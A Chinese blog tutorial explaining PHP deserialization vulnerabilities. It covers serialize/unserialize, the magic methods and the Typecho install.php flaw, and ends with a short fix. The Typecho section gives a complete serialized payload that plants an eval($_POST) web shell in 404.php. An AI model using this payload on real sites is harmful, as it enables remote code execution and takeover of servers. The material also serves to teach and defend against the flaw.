PHP反序列化漏洞——漏洞原理及防禦措施

  • 序列化  
  • 將對象轉換成字符串
  • 反序列化
  • 將特定格式的字符串轉換成對象

什麼是反序列化漏洞

  • PHP反序列化漏洞也叫PHP對象注入,是一個非常常見的漏洞,這種類型的漏洞雖然有些難以利用,但一旦利用成功就會造成非常危險的後果。漏洞的形成的根本原因是程序沒有對用戶輸入的反序列化字符串進行檢測,導致反序列化過程可以被惡意控制,進而造成代碼執行、getshell等一系列不可控的後果。反序列化漏洞並不是PHP特有,也存在於Java、Python等語言之中,但其原理基本相通。
  • 一般程序在創建的時候,都會重寫析構函數和構造函數,反序列化就是利用這些重寫的函數。

反序列化函數

  • php中的兩個函數:
  • 1、serialize()
  • 2、unserialize()
  • 1、serialize()
  • 當在php中創建了一個對象後,可以通過serialize()把這個對象轉變成一個字符串,保存對象的值方便之後的傳遞與使用。
  • 2、unserialize()
  • 與 serialize() 對應的,unserialize()可以從已存儲的表示中創建PHP的值,單就本次所關心的環境而言,可以從序列化後的結果中恢復對象(object
  • 例:
  • $arr=array();
  • $arr['name']='張三';
  • $arr['age']='22';
  • $arr['sex']='男';
  • $arr['phone']='123456789';
  • $arr['address']='上海市浦東新區';
  • var_dump($arr);
  • 輸出:
  •   array(5) {
  •   ["name"]=> string(6) "張三"
  •   ["age"]=> string(2) "22"
  •   ["sex"]=> string(3) "男"
  •   ["phone"]=> string(9) "123456789"
  •   ["address"]=> string(21) "上海市浦東新區"
  •    }
  • 序列化:
  • $info=serialize($arr);
  • var_dump($info);
  • 輸出:
  • string(140) "a:5:{s:4:"name";s:6:"張三";s:3:"age";s:2:"22";s:3:"sex";s:3:"男";s:5:"phone";s:9:"123456789";s:7:"address";s:21:"上海市浦東新區";}"
  • a:5標誌序列化爲array包含5個鍵值對,s:4標誌內容爲字符串包含4個字符。
  • $zhangsan=unserialize($info);
  • var_dump($zhangsan);
  • 輸出:
  • array(5) {
  • ["name"]=> string(6) "張三"
  • ["age"]=> string(2) "22"
  • ["sex"]=> string(3) "男"
  • ["phone"]=> string(9) "123456789"
  • ["address"]=> string(21) "上海市浦東新區"
  •  }

魔術方法

  • Magic Function"
  • 是 php 中一類特殊的方法
  • __construct():
  • 當對象創建(new)時會自動調用。但在 unserialize() 時是不會自動調用的。(構造函數)
  • __destruct():
  • 當對象被銷燬時會自動調用。(析構函數)
  • __wakeup():
  • unserialize() 時會自動調用。
  • __wakeup()
  • 使用unserialize時觸發
  • __sleep()
  • 使用serialize時觸發
  • __destruct()
  • 對象被銷燬時觸發
  • __call()
  • 在對象上下文中調用不可訪問的方法時觸發
  • __callStatic()
  • 在靜態上下文中調用不可訪問的方法時觸發
  • __get()
  • 用於從不可訪問的屬性讀取數據
  • __set()
  • 用於將數據寫入不可訪問的屬性
  • __isset()
  • 在不可訪問的屬性上調用isset()或empty()觸發
  • __unset()
  • 在不可訪問的屬性上使用unset()時觸發
  • __toString()
  • 把類當作字符串使用時觸發
  • __invoke()
  • 當腳本嘗試將對象調用爲函數時觸發

Typecho反序列化漏洞

  • Typecho:
  • 是一個簡單,輕巧的博客程序。基於PHP,使用多種數據庫(Mysql,PostgreSQL,SQLite)儲存數據。在GPL Version 2許可證下發行,是一個開源的程序,目前使用SVN來做版本管理。
  • Typecho漏洞:
  • 1、漏洞發生在網站根,install.php文件。
  • 2、找到網站的漏洞位置,使用了‘unserialize’函數去反序列化接受到的‘__typecho_config’參數。
  • 3、根據源代碼追蹤到構造函數並利用。
  • Typecho利用
  • a:2:{s:7:"adapter";O:12:"Typecho_Feed":4:{s:19:"Typecho_Feed_type";s:8:"ATOM 1.0";s:22:"Typecho_Feed_charset";s:5:"UTF-8";s:19:"Typecho_Feed_lang";s:2:"zh";s:20:"Typecho_Feed_items";a:1:{i:0;a:1:{s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:57:"file_put_contents(’404.php', '<?php @eval($_POST[i]);?>')";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:7:"typecho";}

修復和防禦

  • 和大多數漏洞一樣,反序列化的問題也是用戶參數的控制問題引起的,所以好的預防措施就是不要把用戶的輸入或者是用戶可控的參數直接放進反序列化的操作中去。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章